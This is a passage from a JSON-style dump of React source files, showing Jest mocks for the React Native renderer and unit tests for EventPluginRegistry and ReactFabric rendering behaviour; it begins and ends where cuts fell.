{\n      throw new Error(\n        `Mismatched move indices ${moveFromIndices} and ${moveToIndices}`,\n      );\n    }\n\n    if (addChildReactTags.length !== addAtIndices.length) {\n      throw new Error(\n        `Mismatched add indices ${addChildReactTags} and ${addAtIndices}`,\n      );\n    }\n\n    const parentInfo = views.get(parentTag);\n    const permanentlyRemovedChildren = removeAtIndices.map(\n      index => parentInfo.children[index],\n    );\n    const temporarilyRemovedChildren = moveFromIndices.map(\n      index => parentInfo.children[index],\n    );\n    permanentlyRemovedChildren.forEach(tag => removeChild(parentTag, tag));\n    temporarilyRemovedChildren.forEach(tag => removeChild(parentTag, tag));\n    permanentlyRemovedChildren.forEach(tag => {\n      views.delete(tag);\n    });\n    // List of [index, tag]\n    const indicesToInsert = [];\n    temporarilyRemovedChildren.forEach((tag, i) => {\n      indicesToInsert.push([moveToIndices[i], temporarilyRemovedChildren[i]]);\n    });\n    addChildReactTags.forEach((tag, i) => {\n      indicesToInsert.push([addAtIndices[i], addChildReactTags[i]]);\n    });\n    indicesToInsert.sort((a, b) => a[0] - b[0]);\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const [i, tag] of indicesToInsert) {\n      insertSubviewAtIndex(parentTag, tag, i);\n    }\n  }),\n  updateView: jest.fn(),\n  removeSubviewsFromContainerWithID: jest.fn(function (parentTag) {\n    views.get(parentTag).children.forEach(tag => removeChild(parentTag, tag));\n  }),\n  replaceExistingNonRootView: jest.fn(),\n  measure: jest.fn(function measure(tag, callback) {\n    if (typeof tag !== 'number') {\n      throw new Error(`Expected tag to be a number, was passed ${tag}`);\n    }\n\n    callback(10, 10, 100, 100, 0, 0);\n  }),\n  measureInWindow: jest.fn(function measureInWindow(tag, callback) {\n    if (typeof tag !== 'number') {\n      throw new Error(`Expected tag to be a number, was passed ${tag}`);\n    }\n\n    callback(10, 10, 100, 100);\n  }),\n  measureLayout: jest.fn(\n    function measureLayout(tag, relativeTag, fail, success) {\n      if (typeof tag !== 'number') {\n        throw new Error(`Expected tag to be a number, was passed ${tag}`);\n      }\n\n      if (typeof relativeTag !== 'number') {\n        throw new Error(\n          `Expected relativeTag to be a number, was passed ${relativeTag}`,\n        );\n      }\n\n      success(1, 1, 100, 100);\n    },\n  ),\n  __takeSnapshot: jest.fn(),\n};\n\nmodule.exports = RCTUIManager;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createAttributePayload.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {AttributeConfiguration} from '../../../../ReactNativeTypes';\n\nexport default function create(\n  props: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  const {children, ...propsToPass} = props;\n  return propsToPass;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicInstance.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {\n  PublicInstance,\n  PublicRootInstance,\n} from './ReactNativePrivateInterface';\n\nexport default function createPublicInstance(\n  tag: number,\n  viewConfig: mixed,\n  internalInstanceHandle: mixed,\n  rootPublicInstance: PublicRootInstance | null,\n): PublicInstance {\n  return {\n    __nativeTag: tag,\n    __internalInstanceHandle: internalInstanceHandle,\n    __rootPublicInstance: rootPublicInstance,\n  };\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicRootInstance.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {PublicRootInstance} from './ReactNativePrivateInterface';\n\nexport default function createPublicRootInstance(\n  rootTag: number,\n): PublicRootInstance {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicTextInstance.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {PublicInstance} from './ReactNativePrivateInterface';\n\nexport default function createPublicTextInstance(\n  internalInstanceHandle: mixed,\n): PublicInstance {\n  return {\n    __internalInstanceHandle: internalInstanceHandle,\n  };\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/deepDiffer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\ntype Options = {+unsafelyIgnoreFunctions?: boolean};\n\n/*\n * @returns {bool} true if different, false if equal\n */\nfunction deepDiffer(\n  one: any,\n  two: any,\n  maxDepthOrOptions: Options | number = -1,\n  maybeOptions?: Options,\n): boolean {\n  const options =\n    typeof maxDepthOrOptions === 'number' ? maybeOptions : maxDepthOrOptions;\n  const maxDepth =\n    typeof maxDepthOrOptions === 'number' ? maxDepthOrOptions : -1;\n  if (maxDepth === 0) {\n    return true;\n  }\n  if (one === two) {\n    // Short circuit on identical object references instead of traversing them.\n    return false;\n  }\n  if (typeof one === 'function' && typeof two === 'function') {\n    // We consider all functions equal unless explicitly configured otherwise\n    let unsafelyIgnoreFunctions =\n      options == null ? null : options.unsafelyIgnoreFunctions;\n    if (unsafelyIgnoreFunctions == null) {\n      unsafelyIgnoreFunctions = true;\n    }\n    return !unsafelyIgnoreFunctions;\n  }\n  if (typeof one !== 'object' || one === null) {\n    // Primitives can be directly compared\n    return one !== two;\n  }\n  if (typeof two !== 'object' || two === null) {\n    // We know they are different because the previous case would have triggered\n    // otherwise.\n    return true;\n  }\n  if (one.constructor !== two.constructor) {\n    return true;\n  }\n  if (Array.isArray(one)) {\n    // We know two is also an array because the constructors are equal\n    const len = one.length;\n    if (two.length !== len) {\n      return true;\n    }\n    for (let ii = 0; ii < len; ii++) {\n      if (deepDiffer(one[ii], two[ii], maxDepth - 1, options)) {\n        return true;\n      }\n    }\n  } else {\n    for (const key in one) {\n      if (deepDiffer(one[key], two[key], maxDepth - 1, options)) {\n        return true;\n      }\n    }\n    for (const twoKey in two) {\n      // The only case we haven't checked yet is keys that are in two but aren't\n      // in one, which means they are different.\n      if (one[twoKey] === undefined && two[twoKey] !== undefined) {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n\nmodule.exports = deepDiffer;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/deepFreezeAndThrowOnMutationInDev.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// TODO: move into react or fbjs\n\nfunction deepFreezeAndThrowOnMutationInDev() {}\n\nmodule.exports = deepFreezeAndThrowOnMutationInDev;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/diffAttributePayloads.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {AttributeConfiguration} from '../../../../ReactNativeTypes';\n\nimport deepDiffer from './deepDiffer';\n\nexport default function diff(\n  prevProps: Object,\n  nextProps: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  const {children: _prevChildren, ...prevPropsPassed} = prevProps;\n  const {children: _nextChildren, ...nextPropsToPass} = nextProps;\n  return deepDiffer(prevPropsPassed, nextPropsToPass) ? nextPropsToPass : null;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/flattenStyle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// TODO: Move flattenStyle into react\n\nfunction flattenStyle() {}\n\nmodule.exports = flattenStyle;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/getNativeTagFromPublicInstance.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {PublicInstance} from './ReactNativePrivateInterface';\n\nexport default function getNativeTagFromPublicInstance(\n  publicInstance: PublicInstance,\n) {\n  return publicInstance.__nativeTag;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/getNodeFromPublicInstance.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport type {PublicInstance} from './ReactNativePrivateInterface';\n\nimport {getNodeFromInternalInstanceHandle} from '../../../../ReactNativePublicCompat';\n\nexport default function getNodeFromPublicInstance(\n  publicInstance: PublicInstance,\n) {\n  return getNodeFromInternalInstanceHandle(\n    publicInstance.__internalInstanceHandle,\n  );\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/legacySendAccessibilityEvent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nmodule.exports = jest.fn();\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/EventPluginRegistry-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('EventPluginRegistry', () => {\n  let EventPluginRegistry;\n  let createPlugin;\n\n  beforeEach(() => {\n    jest.resetModules();\n    // These tests are intentionally testing the private injection interface.\n    // The public API surface of this is covered by other tests so\n    // if `EventPluginRegistry` is ever deleted, these tests should be\n    // safe to remove too.\n    EventPluginRegistry = require('react-native-renderer/src/legacy-events/EventPluginRegistry');\n\n    createPlugin = function (properties) {\n      return Object.assign({extractEvents: function () {}}, properties);\n    };\n  });\n\n  it('should be able to inject ordering before plugins', () => {\n    const OnePlugin = createPlugin();\n    const TwoPlugin = createPlugin();\n    const ThreePlugin = createPlugin();\n\n    EventPluginRegistry.injectEventPluginOrder(['one', 'two', 'three']);\n    EventPluginRegistry.injectEventPluginsByName({\n      one: OnePlugin,\n      two: TwoPlugin,\n    });\n    EventPluginRegistry.injectEventPluginsByName({\n      three: ThreePlugin,\n    });\n\n    expect(EventPluginRegistry.plugins.length).toBe(3);\n    expect(EventPluginRegistry.plugins[0]).toBe(OnePlugin);\n    expect(EventPluginRegistry.plugins[1]).toBe(TwoPlugin);\n    expect(EventPluginRegistry.plugins[2]).toBe(ThreePlugin);\n  });\n\n  it('should be able to inject plugins before and after ordering', () => {\n    const OnePlugin = createPlugin();\n    const TwoPlugin = createPlugin();\n    const ThreePlugin = createPlugin();\n\n    EventPluginRegistry.injectEventPluginsByName({\n      one: OnePlugin,\n      two: TwoPlugin,\n    });\n    EventPluginRegistry.injectEventPluginOrder(['one', 'two', 'three']);\n    EventPluginRegistry.injectEventPluginsByName({\n      three: ThreePlugin,\n    });\n\n    expect(EventPluginRegistry.plugins.length).toBe(3);\n    expect(EventPluginRegistry.plugins[0]).toBe(OnePlugin);\n    expect(EventPluginRegistry.plugins[1]).toBe(TwoPlugin);\n    expect(EventPluginRegistry.plugins[2]).toBe(ThreePlugin);\n  });\n\n  it('should be able to inject repeated plugins and out-of-order', () => {\n    const OnePlugin = createPlugin();\n    const TwoPlugin = createPlugin();\n    const ThreePlugin = createPlugin();\n\n    EventPluginRegistry.injectEventPluginsByName({\n      one: OnePlugin,\n      three: ThreePlugin,\n    });\n    EventPluginRegistry.injectEventPluginOrder(['one', 'two', 'three']);\n    EventPluginRegistry.injectEventPluginsByName({\n      two: TwoPlugin,\n      three: ThreePlugin,\n    });\n\n    expect(EventPluginRegistry.plugins.length).toBe(3);\n    expect(EventPluginRegistry.plugins[0]).toBe(OnePlugin);\n    expect(EventPluginRegistry.plugins[1]).toBe(TwoPlugin);\n    expect(EventPluginRegistry.plugins[2]).toBe(ThreePlugin);\n  });\n\n  it('should throw if plugin does not implement `extractEvents`', () => {\n    const BadPlugin = {};\n\n    EventPluginRegistry.injectEventPluginOrder(['bad']);\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginsByName({\n        bad: BadPlugin,\n      });\n    }).toThrowError(\n      'EventPluginRegistry: Event plugins must implement an `extractEvents` ' +\n        'method, but `bad` does not.',\n    );\n  });\n\n  it('should throw if plugin does not exist in ordering', () => {\n    const OnePlugin = createPlugin();\n    const RandomPlugin = createPlugin();\n\n    EventPluginRegistry.injectEventPluginOrder(['one']);\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginsByName({\n        one: OnePlugin,\n        random: RandomPlugin,\n      });\n    }).toThrowError(\n      'EventPluginRegistry: Cannot inject event plugins that do not exist ' +\n        'in the plugin ordering, `random`.',\n    );\n  });\n\n  it('should throw if ordering is injected more than once', () => {\n    const pluginOrdering = [];\n\n    EventPluginRegistry.injectEventPluginOrder(pluginOrdering);\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginOrder(pluginOrdering);\n    }).toThrowError(\n      'EventPluginRegistry: Cannot inject event plugin ordering more than ' +\n        'once. You are likely trying to load more than one copy of React.',\n    );\n  });\n\n  it('should throw if different plugins injected using same name', () => {\n    const OnePlugin = createPlugin();\n    const TwoPlugin = createPlugin();\n\n    EventPluginRegistry.injectEventPluginsByName({same: OnePlugin});\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginsByName({same: TwoPlugin});\n    }).toThrowError(\n      'EventPluginRegistry: Cannot inject two different event plugins using ' +\n        'the same name, `same`.',\n    );\n  });\n\n  it('should publish registration names of injected plugins', () => {\n    const OnePlugin = createPlugin({\n      eventTypes: {\n        click: {registrationName: 'onClick'},\n        focus: {registrationName: 'onFocus'},\n      },\n    });\n    const TwoPlugin = createPlugin({\n      eventTypes: {\n        magic: {\n          phasedRegistrationNames: {\n            bubbled: 'onMagicBubble',\n            captured: 'onMagicCapture',\n          },\n        },\n      },\n    });\n\n    EventPluginRegistry.injectEventPluginsByName({one: OnePlugin});\n    EventPluginRegistry.injectEventPluginOrder(['one', 'two']);\n\n    expect(\n      Object.keys(EventPluginRegistry.registrationNameModules).length,\n    ).toBe(2);\n    expect(EventPluginRegistry.registrationNameModules.onClick).toBe(OnePlugin);\n    expect(EventPluginRegistry.registrationNameModules.onFocus).toBe(OnePlugin);\n\n    EventPluginRegistry.injectEventPluginsByName({two: TwoPlugin});\n\n    expect(\n      Object.keys(EventPluginRegistry.registrationNameModules).length,\n    ).toBe(4);\n    expect(EventPluginRegistry.registrationNameModules.onMagicBubble).toBe(\n      TwoPlugin,\n    );\n    expect(EventPluginRegistry.registrationNameModules.onMagicCapture).toBe(\n      TwoPlugin,\n    );\n  });\n\n  it('should throw if multiple registration names collide', () => {\n    const OnePlugin = createPlugin({\n      eventTypes: {\n        photoCapture: {registrationName: 'onPhotoCapture'},\n      },\n    });\n    const TwoPlugin = createPlugin({\n      eventTypes: {\n        photo: {\n          phasedRegistrationNames: {\n            bubbled: 'onPhotoBubble',\n            captured: 'onPhotoCapture',\n          },\n        },\n      },\n    });\n\n    EventPluginRegistry.injectEventPluginsByName({\n      one: OnePlugin,\n      two: TwoPlugin,\n    });\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginOrder(['one', 'two']);\n    }).toThrowError(\n      'EventPluginRegistry: More than one plugin attempted to publish the same ' +\n        'registration name, `onPhotoCapture`.',\n    );\n  });\n\n  it('should throw if an invalid event is published', () => {\n    const OnePlugin = createPlugin({\n      eventTypes: {\n        badEvent: {\n          /* missing configuration */\n        },\n      },\n    });\n\n    EventPluginRegistry.injectEventPluginsByName({one: OnePlugin});\n\n    expect(function () {\n      EventPluginRegistry.injectEventPluginOrder(['one']);\n    }).toThrowError(\n      'EventPluginRegistry: Failed to publish event `badEvent` for plugin ' +\n        '`one`.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactFabric-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactFabric;\nlet ReactNativePrivateInterface;\nlet createReactNativeComponentClass;\nlet StrictMode;\nlet act;\nlet assertConsoleErrorDev;\n\nconst DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT =\n  \"dispatchCommand was called with a ref that isn't a \" +\n  'native component. Use React.forwardRef to get access to the underlying native component';\n\nconst SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT =\n  \"sendAccessibilityEvent was called with a ref that isn't a \" +\n  'native component. Use React.forwardRef to get access to the underlying native component';\n\ndescribe('ReactFabric', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    require('react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager');\n\n    React = require('react');\n    StrictMode = React.StrictMode;\n    ReactFabric = require('react-native-renderer/fabric');\n    ReactNativePrivateInterface = require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface');\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('should be able to create and render a native component', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    await act(() => {\n      ReactFabric.render(<View foo=\"test\" />, 1, null, true);\n    });\n    expect(nativeFabricUIManager.createNode).toBeCalled();\n    expect(nativeFabricUIManager.appendChild).not.toBeCalled();\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n  });\n\n  it('should be able to create and update a native component', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const firstNode = {};\n\n    nativeFabricUIManager.createNode.mockReturnValue(firstNode);\n\n    await act(() => {\n      ReactFabric.render(<View foo=\"foo\" />, 11, null, true);\n    });\n\n    expect(nativeFabricUIManager.createNode).toHaveBeenCalledTimes(1);\n\n    await act(() => {\n      ReactFabric.render(<View foo=\"bar\" />, 11, null, true);\n    });\n\n    expect(nativeFabricUIManager.createNode).toHaveBeenCalledTimes(1);\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(nativeFabricUIManager.cloneNodeWithNewProps.mock.calls[0][0]).toBe(\n      firstNode,\n    );\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewProps.mock.calls[0][1],\n    ).toEqual({\n      foo: 'bar',\n    });\n  });\n\n  it('should not call FabricUIManager.cloneNode after render for properties that have not changed', async () => {\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTText',\n    }));\n\n    await act(() => {\n      ReactFabric.render(<Text foo=\"a\">1</Text>, 11, null, true);\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n\n    // If no properties have changed, we shouldn't call cloneNode.\n    await act(() => {\n      ReactFabric.render(<Text foo=\"a\">1</Text>, 11, null, true);\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n\n    // Only call cloneNode for the changed property (and not for text).\n    await act(() => {\n      ReactFabric.render(<Text foo=\"b\">1</Text>, 11, null, true);\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n\n    // Only call cloneNode for the changed text (and no other properties).\n    await act(() => {\n      ReactFabric.render(<Text foo=\"b\">2</Text>, 11, null, true);\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildren,\n    ).toHaveBeenCalledTimes(1);\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n\n    // Call cloneNode for both changed text and properties.\n    await act(() => {\n      ReactFabric.render(<Text foo=\"c\">3</Text>, 11, null, true);\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildren,\n    ).toHaveBeenCalledTimes(1);\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).toHaveBeenCalledTimes(1);\n  });\n\n  it('should only pass props diffs to FabricUIManager.cloneNode', async () => {\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {foo: true, bar: true},\n      uiViewClassName: 'RCTText',\n    }));\n\n    await act(() => {\n      ReactFabric.render(\n        <Text foo=\"a\" bar=\"a\">\n          1\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n\n    jest\n      .spyOn(ReactNativePrivateInterface, 'diffAttributePayloads')\n      .mockReturnValue({bar: 'b'});\n\n    await act(() => {\n      ReactFabric.render(\n        <Text foo=\"a\" bar=\"b\">\n          1\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewProps.mock.calls[0][1],\n    ).toEqual({\n      bar: 'b',\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11\n RCTText {\"foo\":\"a\",\"bar\":\"b\"}\n   RCTRawText {\"text\":\"1\"}`);\n\n    jest\n      .spyOn(ReactNativePrivateInterface, 'diffAttributePayloads')\n      .mockReturnValue({foo: 'b'});\n    await act(() => {\n      ReactFabric.render(\n        <Text foo=\"b\" bar=\"b\">\n          2\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n    const argIndex = gate(flags => flags.passChildrenWhenCloningPersistedNodes)\n      ? 2\n      : 1;\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps.mock.calls[0][\n        argIndex\n      ],\n    ).toEqual({\n      foo: 'b',\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11\n RCTText {\"foo\":\"b\",\"bar\":\"b\"}\n   RCTRawText {\"text\":\"2\"}`);\n  });\n\n  it('should not clone nodes without children when updating props', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const Component = ({foo}) => (\n      <View>\n        <View foo={foo} />\n      </View>\n    );\n\n    await act(() =>\n      ReactFabric.render(<Component foo={true} />, 11, null, true),\n    );\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n    jest.clearAllMocks();\n\n    await act(() =>\n      ReactFabric.render(<Component foo={false} />, 11, null, true),\n    );\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledWith(\n      expect.anything(),\n      {foo: false},\n    );\n\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildren,\n    ).toHaveBeenCalledTimes(1);\n    if (gate(flags => flags.passChildrenWhenCloningPersistedNodes)) {\n      expect(\n        nativeFabricUIManager.cloneNodeWithNewChildren,\n      ).toHaveBeenCalledWith(expect.anything(), [\n        expect.objectContaining({props: {foo: false}}),\n      ]);\n      expect(nativeFabricUIManager.appendChild).not.toBeCalled();\n    } else {\n      expect(\n        nativeFabricUIManager.cloneNodeWithNewChildren,\n      ).toHaveBeenCalledWith(expect.anything());\n      expect(nativeFabricUIManager.appendChild).toHaveBeenCalledTimes(1);\n    }\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n  });\n\n  it('should not clone nodes when layout effects are used', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ComponentWithEffect = () => {\n      React.useLayoutEffect(() => {});\n      return null;\n    };\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithEffect />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n    jest.clearAllMocks();\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithEffect />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();\n  });\n\n  it('should not clone nodes when insertion effects are used', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ComponentWithRef = () => {\n      React.useInsertionEffect(() => {});\n      return null;\n    };\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithRef />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n    jest.clearAllMocks();\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithRef />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();\n  });\n\n  it('should not clone nodes when useImperativeHandle is used', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ComponentWithImperativeHandle = props => {\n      React.useImperativeHandle(props.ref, () => ({greet: () => 'hello'}));\n      return null;\n    };\n\n    const ref = React.createRef();\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithImperativeHandle ref={ref} />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.completeRoot).toBeCalled();\n    expect(ref.current.greet()).toBe('hello');\n    jest.clearAllMocks();\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <ComponentWithImperativeHandle ref={ref} />\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();\n    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();\n    expect(\n      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,\n    ).not.toBeCalled();\n    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();\n    expect(ref.current.greet()).toBe('hello');\n  });\n\n  it('should call dispatchCommand for native refs', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    nativeFabricUIManager.dispatchCommand.mockClear();\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <View\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();\n    ReactFabric.dispatchCommand(viewRef, 'updateCommand', [10, 20]);\n    